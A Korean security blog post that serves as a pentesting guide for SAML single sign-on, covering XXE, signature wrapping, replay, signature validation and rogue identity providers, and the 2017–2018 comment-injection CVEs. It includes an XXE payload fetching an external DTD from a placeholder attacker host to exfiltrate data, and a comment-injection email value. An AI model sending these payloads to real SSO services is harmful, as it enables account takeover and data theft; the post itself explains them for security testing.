Security testing SAML SSO Vulnerability & Pentest(SAML SSO 취약점 분석 방법)

한가지 계정정보를 가지고 여러 서비스를 로그온하여 사용하는 경우를 Single Sign On, 즉 SSO 라고 하는데요 오늘은 이 SSO 종류 중 SAML에 대한 이야기와 취약점 분석 방법에 대해 정리할까 합니다.

우선 SSO는 SAML 이외에도 cas, Oauth 등 여러가지가 있습니다. cas 는 쿠키기반이기 때문에 상위 도메인이 같은 경우(e.g www.hahwul.com , vaha.hahwul.com)에만 사용이 가능하고 SAML 과 OAuth는 이외에 크로스 도메인 환경에서도 사용이 가능합니다. 그래서 대부분 인증 서비스들은 3개 중 하나로 구성되거나 모두 지원하는 경우가 많습니다.

cas와 OAuth는 이전에 테스트해본 경험이 좀 있었지만 SAML은 테스팅으론 거의 드물었기 떄문에(한번? 해본거 같긴한데, 그땐 좀 정리가 안됬죠) 이참에 블로그에서 하나 정리합니다. 그럼 시작해보죠.

SAML이란?

우선 SAML은 Security Assertion Markup Language 으로 하나, 또는 복수의 인증 제공자가 여러 서비스에 인증 정보를 제공해주는 형태로 구성됩니다. 아래 그림 참고하시면 조금 도움됩니다.

꼭 알아야할 부분들이 몇가지 있습니다.

IdP(Identity Provider) : 인증 제공자, 즉 인증정보를 기반으로 사용자의 크리덴셜을 증명함? 무튼 너가 이 사용자가 맞다는걸 증명해주는 존재 SP(Service Provider) : 말그대로 서비스 제공자, IdP 로 부터 받은 데이터를 기반으로 사용자를 식별해서 사용함, 즉 SP가 인증 구조를 가질 필요가 없다는 점 Assertion : 인증/크리덴셜 정보를 의미하는 데이터

보편적인 웹 취약점

결국은 SAML로 통신을 처리하는 규악인 프로토콜과 그를 기반하는 Language일뿐 웹 상에서 동작한다는 것은 동일합니다. IdP의 경우에는 사용자 입력을 받아 인증정보를 처리하기 때문에 기본적인 웹 취약점 이외에도 SQLI나 인증 관련 부분들이 주요 포커스로 볼 수 있을 것 같습니다. SP는 당연히 서비스이기 때문에 일반 웹 서비스 분석과 동일하고 추가적으로 인증 정보를 받아오는 과정에서 발생할 수 있는 문제들(잘못된 인증정보인데 처리한다는 둥 등…) 또한 주의깊게 보셔야할 부분인 것 같습니다.

SAML 자체에 대한 부분들은 아래에서 추가로 설명드릴것이고 이번 단락에서 드리고 싶은 말씀은 SAML 통신 과정도 결국은 웹이고 어플이케이션이기 때문에 다른 웹, 모바일, 시스템 등등에서 보는 방식과 동일한 시선으로도 보셔야합니다. SAML 취약점으로 알려진 부분들만 보게되면 분명히 놓치게 됩니다..

XXE

SAML은 xml 문서를 통해 서명하고 이를 확인하여 인증정보에 대한 내용을 처리하는데요, 이 과정에서 XML Parser가 들어가기 때문에 XXE 취약점은 무조건 확인이 필요합니다. 물론 대부분이 라이브러리를 사용하기 떄문에 찾게되면 라이브러리 취약점일 가능성이 높고, 이외에 직접 구현하여 사용하는 경우에는 나올 확률이 굉장히 높은 취약점입니다. 하나 중요한 부분이 있다면 SAML 문서가 넘어가는 과정은 모두 체크가 필요하다는 점입니다.

대체로 많은 SAML 테스트 관련 내용들은 인증정보를 처리하는 부분(제가 인증 받은 사용자고, 메일은 뭐고, 이 문서에 대한 서명과 시그니처는 이거고.. 이런 부분이죠) 뿐만 아니라 SAML 처리 과정 초기 부분(meta 주소 교환하고 하는 과정들) 모두 체크해야합니다. 이런건 사실 뒤에 나올 부분들도 다 동일합니다.

Signed Assertion 쪽 부분에 공격한다고 가정하면 이런식으로 코드가 들어가겠지요.

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY %hwul SYSTEM "http://x.x.x.x/attack.xml">
%hwul;
%param1;
]>
<r>&exfil;</r>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
  <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="pfx012eb0b3-4531-4360-3409-90d12bb5fc85" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
    <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
  <ds:Reference URI="#pfx012eb0b3-4531-4360-3409-90d12bb5fc85"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>S2lWw9N5YYNRmA1v7gjlRs0pbeE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mAHVi+gl0Oh/JqpL6NHV7YWSOtEAE1a6MvIuSmlc7ilaKymuOVoHL7AHXWA6w+KzuQAifLWP4eT9sPEiN5skTLnCsH1ytXIGRI6EFgV7W7+4GQsZrP9YYK3JOGPHui0swlBT+039lV9faFoFbHG3aR89gvb0Ut/4uGBzjfCGqJw=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
    <saml:Subject>
      <saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">_ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
[... 생략 ...]

Signature Wrapping(XSW Attack)

Signature Wrapping은 SAML 관련 대표적인 공격 방법입니다. 구현에 따라 다르지만 복수의 Assertion, Signature를 확인하지 않거나 순서에 따라 비 처리되는 상황도 존재합니다. 이에 대한 케이스들을 모두 테스트 할 필요가 있습니다. 공격을 한마디로 정의하자면.. Assertion, Signature가 여러개일 경우, 순서가 다르게 들어갈 경우 제대로 처리하지 않을 수 있기 때문에 코드를 삽입하여 Rewrite 하는 공격입니다.

  • XSW Attack 1 (기존 서명 뒤에 서명되지 않은 내용 추가)
  • XSW Attack 2(기존 서명 앞에 서명되지 않은 내용 추가)
  • XSW Attack 3 (기존의 Assertion 앞에 Assertion의 서명되지 않은 내용 추가)
  • XSW Attack 4 (기존의 Assertion 다음에 Assertion의 서명되지 않은 내용 추가)
  • XSW Attack 5 (서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 원본 Assertion 추가)
  • XSW Attack 6(서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 변조 Assertion 추가)
  • XSW Attack 7(서명되지 않은 Extensions Block 추가)
  • XSW Attack 8(서명이 제거 된 원래 어설 션을 포함하는 Object Block 추가)

매번 케이스를 다 XML 코드로 작성할까 했느데, 글 양이 엄청 많아져 가독성이 좀 떨어질 것 같습니다. 우선은 아래 SAML Radier 확장기능으로 참고해주세요. (조만간 댓글로 추가해놓을게요…)

Burp Suite에는 SAML Raider라는 이를 테스트해줄 수 있는 좋은 도구가 있습니다. 물론 XSW 만 테스트하는 툴이 아닌 SAML 점검 시 유용한 확장 기능이기 떄문에 되도록이면 설치해두시는걸 추천드립니다. (요즘 Burp보다 ZAProxy를 더 많이 쓰는데 이거 때문에 ZAProxy와 또 듀얼을 쓸 수 밖에 없었죠)

Proxy - Intercepter 로 SAML 요청을 잡고 Signature, Assertion에 대해 Rewrite하여 전송하면 됩니다. 코드는 자체적으로 추가하는 기능이 달려있어서 하나씩 해보면서 내용 보시면 제가 위에 적어드린 위치로 코드가 들어간다는 걸 알 수 있을겁니다.

공격이 성공하게 되면 비정상적인 SAML 요청을 가지고 인증에 성공할 수 있기 때문에 Assertion과 Signature에 대한 변조가 가능하게 됩니다. (고로 남의 계정으로 인증받을 가능성이 높아짐!)

Message Replay

재전송 공격입니다. 한번 인증에 사용된 SAML 요청을 재 사용이 불가능해야합니다. 통신 과정에서 SSL이 없을 수도 있고 SSLtrip되어 요청이 보일 수 있는데요. 재 사용이 가능하다면 인증받은 SAML 문서로 공격자 또한 동일하게 인증을 받아갈 수 있기 떄문입니다. 대체로 라이브러리단에서 체크해주고 있지만 없는 경우엔 반복 요청에 대해 처리하지 않도록 로직이 추가되어야겠지요.

Signature 관련 보안 문제들(Missing, Invaild, Diffrent IdP or SP)

SAML 문서에 대한 Signature는 이 문서의 내용을 증명해주는 장치인데요, 간혹 Signature가 없느 경우에도 처리하는 SAML 라이브러리나 서비스가 있습니다. 이럴 경우 SAML 문서에 대해 위조가 되어도 서버가 판독할 방법이 없어지죠. 또한 잘못된 Signature가 전송됬을때도 정확하게 체크해야합니다. 에를들면 A 내용에 대한 서명인데 공격코드가 추가되고 동일한 서명으로 전송했을 때 단순하게 서명이 있다는 것만 체크하면 문서 본문이 위조된체 코드가 넘어가게 됩니다. 그래서 SAML 문서 본문에 대해 정확한 Signature인지 체크가 필요합니다. 또한 IdP나 SP가 의도된 사이트에서 온 데이터인지 확인도 필요합니다. 의도하지 않은 IdP나 SP에서 온 요청을 처리하게 되면 잘못된 인증정보로 서비스를 사용할 수 있게 해줄 수 있습니다.

예를들면… A라는 서비스가 B라는 IdP서비스에 인증 정보를 사용합니다. 이 때 A가 어떤 IdP에서 온 요청인지 체크하지 않는다면 C라는 인증 IdP(공격자가 구성했을 수도 있지요)에서 온 요청을 처리하게 되는데 이 떄 문제가 SAML은 특정 값을 인증 데이터로 사용한다는 점입니다. 대표적으로 메일주소 같은 데이터인데요. B IdP에서 누군가 test@hahwul.com 으로 인증받았다고 했을 때 C는 인증받지 않았지만 test@hahwul.com이 있다고 거짓으로 꾸며낼 수 있고 A는 단순히 test@hahwul.com의 인증정보가 온 것이기 때문에 A 사이트의 test@hahwul.com 계정의 정보를 내어주게 됩니다. 이로써 공격자는 쉽게 사용자 계정 하나를 탈취할 수 있게되죠. 대표적으로 OneLogin 쪽 기능만 보아도, 최초 인증 사용자(관리자)가 각 하위 사용자들을 만들 수 있고 이는 별도의 메일 인증이나 검증 과정 없이 그냥 만들 수 있습니다. 이렇기 떄문에 이 부분은 꼭 체크가 필요합니다.

정리하자면..

Missing Signature : Signature가 없는 경우에도 처리하는지, 처리하면 SAML 문서 위조가 가능 Invaild Signature : 잘못된 Signature에 대해 처리하는지, 처리하면 SAML 문서 위조가 가능 Diffrent Idp or SP : 지정된 IdP, SP에서 온 요청 이외에 다른 IdP, SP에서 온 요청이 처리되는지, 처리되면 사용자 인증 계정을 쉽게 탈취할 수 있어짐

Open vulnerability

마지막으로 알려진 취약점에 대한 테스트입니다. 작년말~올 초쯤 ruby, python 등 각 언어별 saml 라이브러리에서 심각한 취약점이 발견되어 저 또한 테스트를 진행했었는데요.이와 같이 공개된 라이브러리 취약점은 낮은 버전 사용 시 연결된 서비스에 모두 영향이 생기게 됩니다. 주기적으로 SAML 라이브러리 취약점에 대해 체크하시고 중요한 사항이 나오면 버전 업그레이드가 되도록 유도해야 합니다.

요 부분이였던 것 같은데요…

python-saml - CVE-2017-11427
ruby-saml - CVE-2017-11428
saml2-js - CVE-2017-11429
OmniAuth - CVE-2017-11430
shibboleth - CVE-2018-0489
Duo Network Gateway - CVE-2018-7340

간략하게 내용 공유드리면 이렇습니다. (이거 내용 정리할 떄 좀 재미있었단 말이죠. 물론 블로그에선 찾을 수 없습니다.)

saml libaray들이 Assertion에서 SAML 문서를 만드는 과정과 이를 읽어들릴 때 사용하는 XML Parser의 처리 방식이 약간 달라서 발생한 문제입니다.

예를들어 인증에 사용되는 mail 주소 부분이 이렇다고 하면…

<saml:mailIdzzz>hahwul@gail.com</saml:mailIdzzz>

아래과 같은 코드가 넘어왔을 때 어떻게 처리하게 될까요?

<saml:mailIdzzz>hahwul@gail.com<!-- this is comment!zzzzzz -->.vaha.comzz</saml:mailIdzzz>

saml Assertion 처리 부분은 주석을 날려서 hahwul@gmail.com.vaha.comzz 으로 보지만 XML Parser 쪽은 주석 뒷부분을 날려서 hahwul@gmail.com 으로 보게됩니다. 이렇게 되면 hahwul@gmail.com.vaha.comzz 으로 IdP에서 인증받고 실제론 hahwul@gmail.com으로 접속할 수 있게 됩니다. 이게 메일일 경우엔 이렇지만 그냥 단순하게 user_id 값을 받는다는 둥 할때 공격 성공 가능성을 훨씬 높아집니다. (쉬우니깐!)

Conclusion

최근에 삽질했던 내용들 약간 정리해봤습니다. 미리 천천히 작성해두고 오늘 마무리한거지만, 평일날 낮에 잠깐이지만 시간되어 카페에 있는다는게 즐겁네요(사실 회사에 있어도 재미있으니 뭐.. 그냥 오랜만에 밖에 나온 느낌이 신선하달까, 그래봤자 앞뒤로 할일이 많음)

다시 본론으로 와서 SAML 관련 부분은 분명 더 테스트해볼 수 있는 사항이 있을겁니다. 제가 아는 선에선 좀 정리해봤는데 모자란 부분이 분명 있을거에요. 추가로 습득한 내용이 생기면 회사에 정리해두고, 나중에…시간나면 블로그에도 추가 정리하도록 하겠습니다.

감사합니다 :)